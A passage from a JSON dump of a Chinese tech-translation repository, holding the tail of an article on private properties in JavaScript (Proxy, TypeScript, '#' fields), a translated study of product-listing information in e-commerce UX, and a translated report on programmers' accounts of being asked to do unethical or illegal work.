Object.getOwnPropertyDescriptor(target, key);\n  if (key[0] === '_') {\n    desc.enumerable = false;\n  }\n  return desc;\n}\n```\n\n现在我们把所有特性都放在一起：\n\n```javascript\nclass Shape {\n  constructor(width, height) {\n    this._width = width;\n    this._height = height;\n  }\n  get area() {\n    return this._width * this._height;\n  }\n}\n\nconst handler = {\n  get: function(target, key) {\n    if (key[0] === '_') {\n      throw new Error('Attempt to access private property');\n    } else if (key === 'toJSON') {\n      const obj = {};\n      for (const key in target) {\n        if (key[0] !== '_') {\n          obj[key] = target[key];\n        }\n      }\n      return () => obj;\n    }\n    return target[key];\n  },\n  set: function(target, key, value) {\n    if (key[0] === '_') {\n      throw new Error('Attempt to access private property');\n    }\n    target[key] = value;\n  },\n  getOwnPropertyDescriptor(target, key) {\n    const desc = Object.getOwnPropertyDescriptor(target, key);\n    if (key[0] === '_') {\n      desc.enumerable = false;\n    }\n    return desc;\n  }\n}\n\nconst square = new Proxy(new Shape(10, 10), handler);\nconsole.log(square.area);             // 100\nconsole.log(square instanceof Shape); // true\nconsole.log(JSON.stringify(square));  // \"{}\"\nfor (const key in square) {           // No output\n  console.log(key);\n}\nsquare._width = 200;                  // 错误：试图访问私有属性\n```\n\nProxy 是现阶段我在 JavaScript 中最喜欢的用于创建私有属性的方法。这种类是以老派 JS 开发人员熟悉的方式构建的，因此可以通过将它们包装在相同的 Proxy 处理器来兼容旧的现有代码。\n\n## 附： TypeScript 中的处理方式\n\n[TypeScript](https://www.typescriptlang.org/) 是 JavaScript 的一个超集，它会编译为原生 JavaScript 用在生产环境。允许指定私有的、公共的或受保护的属性是 TypeScript 的特性之一。\n\n```javascript\nclass Shape {\n  private width;\n  private height;\n\n  constructor(width, height) {\n    this.width = width;\n    this.height = height;\n  }\n\n  get area() {\n    return this.width * this.height;\n  }\n}\nconst square = new Shape(10, 10)\nconsole.log(square.area); // 100\n```\n\n使用 TypeScript 需要注意的重要一点是，它只有在 **编译** 时才获知这些类型，而私有、公共修饰符在编译时才有效果。如果你尝试访问 `square.width`，你会发现，居然是可以的。只不过 TypeScript 会在编译时给你报出一个错误，但不会停止它的编译。\n\n```javascript\n// 编译时错误：属性 ‘width’ 是私有的，只能在 ‘Shape’ 类中访问。\nconsole.log(square.width); // 10\n```\n\nTypeScript 不会自作聪明，不会做任何的事情来尝试阻止代码在运行时访问私有属性。我只把它列在这里，也是让大家意识到它并不能直接解决问题。你可以 [自己观察一下](https://www.typescriptlang.org/play/index.html#src=class%20Shape%20%7B%0D%0A%20%20private%20width%3B%0D%0A%20%20private%20height%3B%0D%0A%0D%0A%20%20constructor(width%2C%20height)%20%7B%0D%0A%20%20%20%20this.width%20%3D%20width%3B%0D%0A%20%20%20%20this.height%20%3D%20height%3B%0D%0A%20%20%7D%0D%0A%0D%0A%20%20get%20area()%20%7B%0D%0A%20%20%20%20return%20this.width%20*%20this.height%3B%0D%0A%20%20%7D%0D%0A%7D%0D%0A%0D%0Aconst%20square%20%3D%20new%20Shape(10%2C%2010)%0D%0Aconsole.log(square.area)%3B%20%20%2F%2F%20100%0D%0Aconsole.log(square.width)%3B%20%2F%2F10) 由上面的 TypeScript 创建出的 JavaScript 代码。\n\n## 未来\n\n我已经向大家介绍了现在可以使用的方法，但未来呢？事实上，未来看起来很有趣。目前有一个提案，向 JavaScript 的类中引入 [private fields](https://github.com/tc39/proposal-class-fields#private-fields)，它使用 `＃` 符号表示它是私有的。它的使用方式与命名约定技术非常类似，但对变量访问提供了实际的限制。\n\n```javascript\nclass Shape {\n  #height;\n  #width;\n\n  constructor(width, height) {\n    this.#width = width;\n    this.#height = height;\n  }\n\n  get area() {\n    return this.#width * this.#height;\n  }\n}\n\nconst square = new Shape(10, 10);\nconsole.log(square.area);             // 100\nconsole.log(square instanceof Shape); // true\nconsole.log(square.#width);           // 错误：私有属性只能在类中访问\n```\n\n如果你对此感兴趣，可以阅读以下 [完整的提案](https://tc39.github.io/proposal-class-fields/) 来得到更接近事实真相的细节。我觉得有趣的一点是，私有属性需要预先定义，不能临时创建或销毁。对我来说，这在 JavaScript 中感觉像是一个非常陌生的概念，所以看看这个提案如何继续发展将变得非常有趣。目前，这一提案更侧重于私有的类属性，而不是私有函数或对象层面的私有成员，这些可能会晚一些出炉。\n\n## NPM 包 -- Privatise\n\n在写这篇文章时，我还发布了一个 NPM 包来帮助创建私有属性 -- [privatise](https://www.npmjs.com/package/@averagemarcus/privatise)。我使用了上面介绍的 Proxy 方法，并增加额外的处理器以允许传入类本身而不是实例。所有代码都可以在 GitHub 上找到，欢迎大家提出任何 PR 或 Issue。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/product-listing-information.md",
    "content": ">* 原文链接 : [E-Commerce UX: What Information to Display in Product Listings (46% Get it Wrong)](http://baymard.com/blog/product-listing-information)\n* 原文作者 : [Jamie](http://baymard.com/blog)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [godofchina](https://github.com/godofchina)\n* 校对者:[joddiy](https://github.com/joddiy), [Ruixi](https://github.com/Ruixi)\n\n# 电商列表信息展示，你真的懂吗？\n\n![](http://assets.baymard.com/research/media_files/attachments/17301/original/research-media-file-f6c7249aa471651b567e784d21ca6238.jpg)</div>\n\n_“我想有一种可以比较的方式，因此我可以不用点这个，再点返回，点那个，再点返回，点点点..”_ 一个顾客解释道，他想给自己的笔记本电脑找个包, _“除了价格和商品名称我在这找不到一点有用的信息。”_ 注意 Zappos 的多半电脑包描述里根本没有或只有模糊的有效尺寸描述，像 “大”。\n\n用户基于产品列表里关于这些产品的**有效信息**来选择是否购买这些商品。因此在我们经过大规模的[产品列表和筛选](http://baymard.com/research/ecommerce-product-lists)可用性学习后毫不奇怪地发现贫乏的列表项信息是关于产品列表导航的最严重的可用性问题。\n\n通过测试，我们发现信息过少或信息相关性过低的列表项很有问题，因为用户在缺少这些商品的基本信息的情况下是**无法进行适当评估的**。这会导致受测对象完完全全地误解了相关产品，并导致他们在产品页和列表页之间不必要的来回跳转 – 他们不得不返回继续一遍刚才的操作, 打开列表页的每个产品只是为了了解它的基本属性和核心特征; 这个令人不快的实践经常导致受测对象放弃访问站点，因为简单地定位相关产品的矛盾太突出了。 显而易见，在每个列表页展示正确的数量和正确的类型信息对提升用户的产品查找体验是至关重要的。\n\n另外，在产品列表页确认展示哪种类型的信息以及展示数量是个大问题 , 就像我们全美 Top 50 的电商网站的[产品清单列表](http://baymard.com/ecommerce-product-lists/benchmark/site-reviews)  所显示的，这些网站中的 46% 都有展示内容过少或展示信息选择不当的毛病。(一小部分网站则截然相反，他们在列表项上展示了过多的信息!)\n\n![](http://assets.baymard.com/research/media_files/attachments/17287/original/research-media-file-0f8ef662d7a97428d80c08682f3f36ca.jpg)</div>\n\n测试期间发现，[Gilt](http://baymard.com/ecommerce-product-lists/benchmark/site-reviews/228-gilt) 没有展示了列表信息的关键部分:  可选商品的种类！这导致了多个测试受试者拒绝购买商品，因为他们认为该商品只有显示颜色的有货，实际上它有多种颜色可选择。\n\n![](http://assets.baymard.com/research/media_files/attachments/17288/original/research-media-file-61b54f07f843f261b3958b95261848b5.jpg)</div>\n\n除了所有常见的“通用”属性， [Crutchfield](http://baymard.com/ecommerce-product-lists/benchmark/site-reviews/254-crutchfield) 在特定分类的属性也存在严重的问题 – 那就是和产品类型相关的唯一信息。举个例子，the ‘X-watts-RMS’ 和 ‘filter pass’ 属性只和汽车扩音器相关，也因此仅仅在这些栏目中被展示。同时，这个站点的其他种类的所有产品也仅仅只展示了垂直向的唯一相关性。\n\n在列表项中获得一个好的**信噪比**对提升用户找到他们想要找到商品的能力至关重要。然而很明显这并不容易。它需要仔细斟酌要展示产品属性的提炼。这篇文章里我们会为大家呈现从我们的[产品列表和筛选](http://baymard.com/research/ecommerce-product-lists)学习针对如何准确地评估产品列表里信息的展示量和种类得到的测试发现。\n\n_(注意以下的发现同样适用于种类列表和搜索结果。)_\n\n## 列表项信息: 平衡操作\n\n无论如何展示在产品列表里的信息是用户评估和判断产品适用性的基础。因此产品列表不应该被浪费。列表里的每个元素都应该被**精斟细酌**，呈现给用户最适合他们挑选的条件。一个成功的产品列表设计应满足以下两点要求:\n\n*   展现给用户**足够的产品信息**以适当地评估产品的适用性（针对他们的独特需求）,\n*   让用户把**产品列表**当成一个整体对待(i.e. the options available to them)，并可以把有兴趣的产品和另一个产品拿来对比。\n\n前者是每个产品要展示充分的产品信息然而后者产品要在用户的屏幕上展示足够的产品数量。于是就造成了一个**进退维谷**的情况，如果每个产品的信息展示过多，会导致每页展示的产品数量下降。然而产品数量太多又会造成单个产品展示足够的信息变的相对困难，导致过多的来回跳转。\n\n![](http://assets.baymard.com/research/media_files/attachments/17289/original/research-media-file-6debb0c41567623c2fbccb372f972d1c.jpg)</div>\n\n从我们的大规模眼部追踪学习中明显得知, 当用户在浏览视觉导向的产品时极度倾向于关注产品缩略图。(这里我们可以看下 [REI](http://baymard.com/ecommerce-product-lists/benchmark/site-reviews/247-rei) 32个主题的热力图，点击量，总观察时间)\n\n因此产品列表设计不是一个“少即是好”的事情而是一个“刚好合适才是好”的事。找出哪些属性应该被展示在列表项里哪些不应该被才是应该做的事，但是没有硬规则。一个好的列表项应该通过提供充足的信息来帮助用户准确评估列表中哪些是与用户相关的， – 同样重要的是 – 哪些应该被略去。列表信息应该更好地帮助用户对比相关产品。它本质上是一个实践：不要用过于膨大的产品列表来最大化信息的精髓和产品的对比性。\n\n现在我们通过研究发现，有**两组**属性应该被包含在列表项中：通用属性和特定种类属性。纵观整个站点的所有产品通用属性都包含价格和产品标题（或类型）。特定种类属性对每个产品种类来说是惟一的并且产品和产品之间是不同的。下面的例子中我们会讲到每个细节。\n\n## 通用属性\n\n有一些通用属性应该被展示在几乎**所有地方**，无论是在售产品的列表项或站点内容中。举个例子，产品价格是基本属性，所以应该被放在所有环境下（只有极少数情况不需要）.\n\n除了相对明显的价格属性，其他的主要通用属性有: 产品标题或类型，缩略图，用户排名，可选类型。 对搜索结果列表, [contextual search snippets](http://baymard.com/blog/search-snippets) 在这方面也沦陷了。下面的文章会总结通用属性中最重要的几方面。\n\n![](http://assets.baymard.com/research/media_files/attachments/17290/original/research-media-file-beb2f73890ac1b9795830c9a1ce304d8.jpg)</div>\n\n一个客户对IKEA的沙发按价格进行排序（从低到高）– 不幸的是出现了沙发装饰品，沙发垫和沙发套而不是从便宜到贵的沙发。更困惑的是，沙发套被展示在沙发上，一眼扫过去人更加难判断卖的是沙发还是沙发套。\n对用户来说每个产品的**价格**很明显是至关重要的，不管是估算产品本身或者和其他产品对比。这就是价格要对用户永久可见的原因。我们的 [产品列表和筛选基准](http://baymard.com/ecommerce-product-lists/benchmark/site-reviews) 显示所有站点都做到了这一点。\n\n测试期间发现一些和产品价格相关的常见问题。举个例子，一些案例中价格中包括什么不是太明确（通常发生在几个产品被展示在产品缩略图中的时候，像[产品适用性](http://baymard.com/blog/ecommerce-compatibility-databases)或捆绑销售）。让顾客明确知道价格里包含什么是明智的。同样，展示“每单元的价格”有助于客户了解性价比 – 98%的站点在这方面做的不太好。(参考我们的测试结果 [Price Per Unit](http://baymard.com/blog/price-per-unit)).\n\n![](http://assets.baymard.com/research/media_files/attachments/17291/original/research-media-file-b9db9eecf9fc4873a76746a11d479ed3.jpg)</div>\n\n_“我看到那儿有东西，但是没有图片，所以我不想点它”_ 一位客户解释道（在Best Buy），看着列表中的第三条。事实证明那确实是她想要的东西，但是由于没有缩略图，她选择像其他人一样直接跳过了那个产品。\n\n**产品缩略图**被证明是最重要的属性，受测对象愿意花大量的注意力在产品缩略图上。没有缩略图的列表项经常被忽略，大多数客户认为这些产品是“不完整的”。好的缩略图在用户搜索和选择产品的过程中扮演关键角色。因此给用户提供产品的视觉信息是至关重要的。\n\n事实上这意味着为所有列表项提供缩略图并确保缩略图的尺寸能反应用户对产品视觉信息的要求。（Product Lists report owners: 参考规则 #25, #28, #29, #34 and #39）。 更加明智的做法是提供 [secondary hover image](http://baymard.com/blog/secondary-hover-information) （提供更多的产品视觉信息） 并同时考虑 [“use context” and “cut out” thumbnails](http://baymard.com/blog/ux-product-image-categories) （允许提供更加全面的产品视图）。\n\n![](http://assets.baymard.com/research/media_files/attachments/17292/original/research-media-file-c77036a8531f2c8700f545ec63d6f399.jpg)</div>\n\nIKEA提供了产品标题（系列）和类型，单独一个产品名称对用户说就显得没那么有价值。类似“Söderhamn”和“Poäng”的标题对用户来说只是提供了产品系列的唯一标识。同时鼠标移动上去后，相关的信息会展现出来，这个特别棒，如果默认状态下提示会列出相关信息就更好了。\n\n**产品标题或类型**也被证明是较为重要的，在客户浏览产品列表（尤其是搜索结果）而且产品缩略图很难一眼识别出产品类型的情况下。和产品标题一样形象生动的产品名称也可以代表自己，有些行业产品类型对用户来说比产品标题更容易理解 – 尤其在产品标题不明了的情况下。在这些情况下，产品类型会替代标题或和产品标题合并展示。\n\n当存在一个数量巨大或者鱼龙混杂的产品目录的情况下，人工确定每个产品的标题的描述性可能会太消耗资源，这种情况下推荐两者都展示。还有一个较为高级的办法就是动态的浏览每个商品标题来确定是否包含产品类型关键词，基于此，对于扫描到的标题中不包含产品类型关键词的商品，展现一下产品类型信息。对于体量或者排列较好的产品目录（像 IKEA 这样的制造业电商），你可以通过整个产品目录（基于整个公司的产品命名规则的）来决定产品标题的描述性。。\n\n![](http://assets.baymard.com/research/media_files/attachments/17293/original/research-media-file-0206f416589dd88e1ef3d8b03263694f.jpg)</div>\n\n在没有任何关于这些锅的尺寸的提示下，用户必须去浏览每个产品页来得到这些信息。虽然用户可以通过已存在的价格区间推测产品的别的参数, 如果搜索结果上百后就显得笨拙了。 更重要的是，盘子的价格区间不能告诉用户盘子的参数有哪些 – 盘子是靠颜色，尺寸还是材质区分？\n\n![](http://assets.baymard.com/research/media_files/attachments/17294/original/research-media-file-c0d845fab21bb7d9f179f057c087c4cb.jpg)</div>\n\n作为比较，我们看下用户在 [American Eagle Outfitters](http://baymard.com/homepage-and-category-usability/benchmark/site-reviews/145-american-eagle-outfitters) 是如何做到扫一眼就能确定衬衫的多个参数（颜色样式等），这些只在列表项缩略图中的特殊样式里才会显示。\n\n**产品参数** 像不同的颜色，尺寸，材质，外观等，是需要直接在列表项里展示的属性。没有这些东西，客户经常会pass掉实际上是他们想要的东西，仅仅是因为他们看不见这些参数，只能通过展示的默认属性来判断是否是他们想要的东西，而不是通过查看产品详情页来确认与产品相关的属性。\n\n然而并不是所有产品都会被展示。举个例子，桌子是否可用得通过列表项里展示的桌子的多个尺寸参数来决定，然而鞋子就不一样了，用户可以根据鞋子的天然属性来推测产品的存在的参数。\n\n![](http://assets.baymard.com/research/media_files/attachments/17295/original/research-media-file-a5a883ffb835cedef8d909f995655728.jpg)</div>\n\n这有一个测试对象 - 不太明白不同产品规格的含义 - 于是决定通过排序来决定应该购买哪个相机。用户排名经常被犹豫不决或者对产品了解不深的人当做指导。\n\n**用户排名**经常被多数行业和网站当做普遍属性放在列表项里。经测试发现，无论何时对特性领域产品了解不深的用户都会依赖用户排名来评估搜索到的相关结果 - 并视那些高排名的项为被其他用户审查过“安全选择”。\n\n有些用户在他们没法自己做出判断的时候就把评分作为“好质量/划算”的代表。因此，如果用户依赖的数据不是在售商品方面的专家，评分就应该被直接包含在产品列表中。\n当我们把用户评分放进产品列表时，注意实际上应该包括平均用户评分和平均评分数量。我们回过头来看，发现用户意识到平均评分在没有评分人数是没用的（参见[Users’ Perception of Product Ratings](http://baymard.com/blog/user-perception-of-product-ratings) 和 [Don’t Base ‘Customer Ratings’ Sorting on Averages Only](http://baymard.com/blog/sort-by-customer-ratings)）。\n\n## 特有属性\n\n有些产品的少数属性对那产品来说特别重要，那么我们就应该把它们放进产品列表项的概览中，方便用户选择哪些产品该打开哪些产品该跳过时做出“富含信息量的决定”\n\n这些属性在分类之间变化幅度很大，而且必须是针对每个种类**唯一可选**。后面的是几个例子是不同的特有属性被当做灵感来源在决定是否选择此商品时，对一个给定的分类来说产品属性会变得十分重要（这里的质量就被当做一个特性种类的属性）。\n\n![](http://assets.baymard.com/research/media_files/attachments/17296/original/research-media-file-88602817b6d0a836c6ee58b1e7f79984.jpg)</div>\n\n只有 [Newegg](http://baymard.com/ecommerce-product-lists/benchmark/site-reviews/244-newegg) 中的一些电源适配器包含适配信息。对一些客户来说，他们更愿意买一个便宜的电源适配器而不是一个包含适配信息的价值 $116 的适配器，这些信息会无休止地烦着他们。\n\n在特定种类的高科技产品中产品的相关性几乎完全被产品和其他产品**适配性**来决定。因此“适配信息”应该被放在列表项里，用户可以不用打开列表中的每个产品来确定与产品是否与他们相关。进一步说，如果用户的购物车有适配性相关的产品，产品列表项应该智能的显示此产品是否和购物车里的产品适配。（参见 [6 Use Cases for Compatibility Databases on E-Commerce Sites](http://baymard.com/blog/ecommerce-compatibility-databases)和 [Highlight Items Already in the User’s Cart](http://baymard.com/blog/highlight-products-if-in-users-cart)）。\n\n![](http://assets.baymard.com/research/media_files/attachments/17297/original/research-media-file-d408ce075d520f2eaae6b50eb46d843d.jpg)</div>\n\n因为列表项里没有相机套的尺寸，受测对象必须打开 Tesco 的每个产品页，搜索产品页的说明来确定相机套是否适合他们的相机。一张“使用情景”图也对判断尺寸是否合适有帮助（例如展示包含部分相机的相机套），但是明显没有在列表项里展示实际尺寸来得精准些。\n\n另一种适配信息是**尺寸**。举个例子，任意一种包都需要容纳，携带，存放另一种别的产品，所以我们需要列出它的内部尺寸来让用户确定是否和他们的物品适用。也就是说，比起高科技产品的适配性它还是不太严格的，因此用户可能会买一个“容器”来获得足够多的空间来容纳要存放的东西。\n\n![](http://assets.baymard.com/research/media_files/attachments/17298/original/research-media-file-1fa562b7dfeb88a0ee73f22e5825165b.jpg)</div>\n\n有个受测对象依靠产品缩略图和推荐年龄范围来查找适合她外甥女的产品。Entertainer 明白他们用户中的大多数都不是最终用户，所以他们明智地给他们的玩具加上了一个推荐年龄范围来帮助用户来选择合适年龄段的产品。\n\n**推荐使用年龄段**的属性适用性，场景或受众，在客户不是最终使用者的产业十分重要。事实上，这些属性起到了综合使用手册的作用，引导用户到适合最终受众或场景的产品，像为母亲节买的花的种类。\n\n![](http://assets.baymard.com/research/media_files/attachments/17299/original/research-media-file-dc720599f835747ad6f7f995f879dad8.jpg)</div>\n\nGo Outdoors 在他们的所有睡袋里都没有加入舒适温度排名；只有极少会把舒适温度值印到产品缩略图上。受测对象沮丧地发现他们必须打开剩下的产品来确定产品是否适合在寒冷天气下使用。\n\n另一个典型的特定种类属性的案例是任何产品都会有**特殊使用情况**，包括安全齿轮，户外装备，水下设备，任何类型的产品都必须在特殊环境下保持运行。\n\n特有属性的例子是数不清的，上述文章仅表明了有一两个和产品种类唯一相关特有属性的产品特性的几个实例。产品列表是说不尽的。你可能还会举相机分辨率，汽车里程数和动力，食物的制造方法等等。\n\n特有属性就是比较重要的通用属性，只是在不同产品类型间不共用 - “适用年龄”和玩具高度相关但是和相机毫无关系，“百万像素解析度”和相机相关但是和玩具毫无关系！因此确定特有属性需要花些功夫，要浏览每个产品种类来确定是否存在1-3个和产品种类唯一相关的属性对用户决定产品的相关性起决定性作用，然后动态地放到列表项中。\n\n## 展示产品列表项信息\n\n通过把所有普通产品属性（价格，缩略图，产品标题或属性，相关参数和用户评分）和所有特有属性放在产品列表项中，用户已经具备了**充足的条件**去评估产品列表项中的每一项并决定选择哪个产品进行更近一步的了解（打开产品页）。\n\n通用属性必须具备因为那是所有产品的基本信息，如果没有这些信息用户无法准确评估产品的相关性。特有属性是较为聪明的方法提供1-3个和产品种类唯一相关的额外属性，提供指定的帮助性信息给用户来确定产品是否和他们相关。\n\n通过列表项的所有通用属性和1-3个特有属性，已经提供了足够的信息来让用户准确评估和比较列表中的产品。既没有信息过少的问题（最普遍），也没有列表项信息过多的问题（不太常见但是等同于设计存在问题），简单来说就是：达到了**理想状态的平衡**，没有信息冗余的情况下提供了每个产品的足够信息。\n\n在列表项信息中得到一个理想平衡可以在产品列表中得到高的信噪比，对用户查找产品的**能力**是至关重要的，好的信噪比使用户容易获得哪些产品可以购买，哪些产品可以跳过。千万不要因为轻视这些建议被愚弄 - 46%的电商网站在其中的一两点上做地很失败，强迫用户做多余地返回操作 - 不停地来回跳转 - 经常在用户寻找产品的过程中制造困难，以用户放弃网站而结束。\n"
  },
  {
    "path": "TODO/programmers-confess-unethical-illegal-tasks-asked-of-them.md",
    "content": "\n> * 原文地址：[Programmers are having a huge discussion about the unethical and illegal things they’ve been asked to do](http://www.businessinsider.com/programmers-confess-unethical-illegal-tasks-asked-of-them-2016-11)\n* 原文作者：[Julie Bort](http://www.businessinsider.com/author/julie-bort)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[PhxNirvana](https://github.com/phxnirvana)\n* 校对者：[Gocy](https://github.com/Gocy015), [L9m](https://github.com/L9m)\n\n# 关于程序员被要求做不道德甚至非法的事情的激烈讨论\n\n\n\n\n![Programmer, worried, working](https://user-gold-cdn.xitu.io/2016/11/29/1d2cf64982fc4d3bbd2cd5bb00a07df1)  [Flickr/Tim Regan](https://www.flickr.com/photos/dumbledad/10481690626/in/photolist-gYeprU-4m84mh-6xTMGf-6xTMv5-e4uRE7-aXnWdi-6xTMAm-4m41Vz-5oZuGc-9gRbke-6xPD8k-9cR8rH-7BdgzF-8aEbsj-76GB61-4r8Q9W-cHgxNQ-CMQ1D-bKQmnk-dBG6AF-ebV9C1-9W7kms-7zGNJy-7TQe2k-Q4usX-fKiPBH-Q39QK-92wxqw-862mbL-Q39P6-862mbS-ojhTc-6efGLU-Q2D3q-6FPFni-n33Siz-8nxPUW-6xTL3N-7zCVhM-kccEMK-4KaiQY-9TiDxV-jR9gc-oZw7iQ-6W1H3D-5pc5n2-8fAjDo-4r8Q6W-7JF1Zp-paxh9n)  \n\n本周早些时候，, 程序员兼教师的 Bill Sourour 写的一篇文章点击率暴增。这篇文章的标题是 [“我仍以为耻的代码”](https://medium.freecodecamp.com/the-code-im-still-ashamed-of-e4c021dff55e#.oteybc470)。\n\n在这篇文章中，他详细描述了自己年轻时在制药厂任职程序员，为制药厂开发网站的可怕故事。该文值得一读，不过最终结果是他被公司哄骗着绕过药品广告法来说服年轻女性服用特定药物。\n\n不久之后他发现此药会加剧抑郁，而且已经有至少一名年轻女性服用后自杀。他发现他的妹妹也在服用该药后警告她停止服用。\n\n他这样对 Business Insider 说道，尽管几十年过去了，他对此仍心怀愧疚。在看过 Robert Martin 的 名为 “[The Future of Programming](https://www.youtube.com/watch?v=ecIWPzGEbFc&feature=youtu.be&t=1h9m49s)” 的演讲后，他倍受鼓舞，才决定将此事写下。Martin 在他的程序员圈子里很出名，而他 “Uncle Bob” 的名字更广为人知。\n\n## 软件工程师“杀人不见血”\n\nMartin 在那次演讲中的主题是软件工程师最好知道如何快速自我管理。\n\n[![Professional code of ethics](https://user-gold-cdn.xitu.io/2016/11/30/113de3d56ce4fcb6beb3b86dc5d22fdf) ](http://www.slideshare.net/lemiorhan/professional-code-of-ethics-in-software-engineering)  [Slideshare/Lemi Orhan Ergin](http://www.slideshare.net/lemiorhan/professional-code-of-ethics-in-software-engineering)  \n\n“让我们来决定作为程序员的意义”，Martin 在视频中说到，“文明社会依赖于我们，但人们目前还并不理解这个。”\n\n他的观点是在当今世界，我们所做的一切如购物、通话、开车、飞行都用到了软件。而且已经有很多人 [已经因车载软件的错误而丧命](http://www.cbsnews.com/news/toyota-unintended-acceleration-has-killed-89/)，更有成百上千人在乘机途中 [因软件错误而死](http://paris.utdallas.edu/IEEE-RS-ATR/document/2009/2009-17.pdf)。\n\n“我们在杀人”，Martin 说。“（尽管）我们不是亲自下的手，但这只会更糟”。\n\n他指出“有迹象表明” 开发者在未来几年将面对越来越多的大问题。他引用了大众美国区首席执行官 Michael Horn 在国会听证会时的发言，[Michael Horn 一开始将排放门丑闻归咎于程序员](http://www.theverge.com/2015/10/8/9481651/volkswagen-congressional-hearing-diesel-scandal-fault)，宣称程序员“不知出于何理由”自作主张。Horn 在 [公司受到检察机关指控](http://www.businessinsider.com/volkswagen-vw-emission-scandal-new-york-attorney-general-massive-cover-up-matthias-muller-2016-7) 该决定为高层决策并且试图隐瞒真相  [不久之后引咎辞职](http://www.businessinsider.com/volkswagens-us-boss-horn-departs-2016-3)。\n\n![](https://user-gold-cdn.xitu.io/2016/11/29/0e6b092a8b9221df3502e66e0f7a337e)  \n\"Uncle\" Bob Martin  [YouTube/Expert Talks Mobile](https://www.youtube.com/watch?v=ecIWPzGEbFc&feature=youtu.be&t=1h9m49s)   \n\n但 Martin 指出，“奇怪的是，写代码的是程序员，是我们。是一些程序员写下了那些欺骗的代码（排放门代码）。你觉得他们是否知情呢？我想他们应该是知道的。”\n\nMartin 以一个地狱般的预言作为结束，他警告说，未来某天，一些程序员可能会写出导致千万人遇害的灾难性代码。\n\n但 Sourour 指出这不仅是意外杀人或故意造成空气污染那么简单。华尔街的公司早就用软件来操纵 [股市](http://www.businessinsider.com/huge-first-high-frequency-trading-firm-is-charged-with-quote-stuffing-and-manipulation-2010-9)。\n\n“没有问题代码（shady code）就不会有假订单”，Sourour 说到。\n\n## 程序员的忏悔\n\nSourour “深以为耻”的文章在 [Hacker News](https://news.ycombinator.com/item?id=12965589) 和 [Reddit](https://www.reddit.com/r/programming/comments/5d56fo/the_code_im_still_ashamed_of/?sort=qa) 上如病毒般传播开来，并引起了一长串程序员对被迫做出的不道德甚至非法的事情的忏悔。\n\n其中一个人 [写下了](https://news.ycombinator.com/item?id=12965968) 为公司工作时将人们加入他们的时事通讯电子邮件订阅列表中，即使是那些人已经退订的情况下（可能违法了联邦法律）。程序员们为公司的销售写下了精准定位的脚本。当他问公司的 CTO 这是否不道德时，只收到了滚蛋的回复。而如今，他说，同样的程序员们“在创业公司挖掘极大量的位置数据。”\n\n![Civilization depends on programmers](https://user-gold-cdn.xitu.io/2016/11/29/f62ed4a1c94ea20fb1970baff535e8d0)  [YouTube/\"Uncle\" Bob Martin - \"The Future of Programming\"](https://www.youtube.com/watch?v=ecIWPzGEbFc&feature=youtu.be&t=1h9m49s)  \n\n另一个程序员是为收音机设备写代码的，他 [被老板要求](https://news.ycombinator.com/item?id=12966837) 使用紧急服务频道，只因为这会让设备工作快一点。“（这是）非法的加速（手段），而且阻碍了紧急通讯”，他说。尽管他拒绝了这个要求，但他说到“总有工程师愿意”简单地按要求办事。\n\n还有一个人说 [在实习期间](https://news.ycombinator.com/item?id=12967432)，他接手了从竞争对手网站复制来的代码，并老板被要求以此为基础“给投资者写个样品出来”。他感觉像是被要求欺骗投资者一样。\n\n又有人 [讲了这样一个故事](https://www.reddit.com/r/programming/comments/5d56fo/the_code_im_still_ashamed_of/da26yoc/) ，他被要求修改一些经济数据备份并用这些备份恢复之后重新运行年终报告（程序）。他拒绝了上级的要求。“（我）仿佛看到了几年后他们因逃税而锒铛入狱（的场景）”。\n\n[最后一个例子](https://www.reddit.com/r/programming/comments/5d56fo/the_code_im_still_ashamed_of/da2i1jf/) ，这个人最近被要求做一个针对儿童的以基地建造和资源管理为幌子的变相赌博游戏”……“我现在已经不在那里工作了”。\n\n## 没有职业准则培训的培训班\n\n上面所有故事的共同点是如果程序员对要求说不，公司会马上找其他人来做这事。这可能不假，但只是个借口，Martin 指出。\n\n“我们是世界掌控者”，他说，“尽管我们还不知道。其他人相信他们掌控世界，但他们写下规则后交由我们完成。而我们才是将其在机器中实现的人。\"\n\n同时他警告道，如果程序员再不开始自我规范，那么在那个有千万人受难的末日预言成真以后，立法者将会帮他们实现（自我规范），上至支配他们的一切工作内容，下到限制他们所能够使用的编程语言。\n\n最明了的解决方案是开设伦理学课程。并强制每一个四年制计算机科学学生学习。该课程的“圣经”是 Sasa Baase 的 [《火的礼物：人类与计算技术的终极博弈》](https://www.amazon.com/Gift-Fire-Ethical-Computing-Technology/dp/0132492679)\n\n![Bill Sourour](https://user-gold-cdn.xitu.io/2016/11/29/e4d82a26f16fbf61fdbdf98adee89a2f)  \nBill Sourour  [Twitter/Bill Sourour](https://twitter.com/BillSourour)   \n\n“不幸的是，如今许多程序员都是自学或者在‘培训班’学习的”，Sourour 说。\n\n“（培训班里）几乎没有任何伦理学教学，它们（只是）以快速培养拥有市场所需技能的程序员为重点”，他补充道。\n\nSourour 呼吁所有培训班和在线教学网站“开始讨论与代码伴随而来的责任”。\n\n但 Martin 和 Sourour 都相信，程序员们真正需要的是一个像其他行业一样的，可以管理和规范他们职业生涯的组织。目前没有与之相似的，尽管 [（美国）计算机协会](http://www.acm.org/about/se-code) 和 [IEEE](http://www.ieee.org/about/corporate/governance/p7-8.html) 都已经开始起步，有了一些道德准则文档和某种程度上的训练。\n\n"
  },
  {
    "path": "TODO/progressive-web-amps.md",
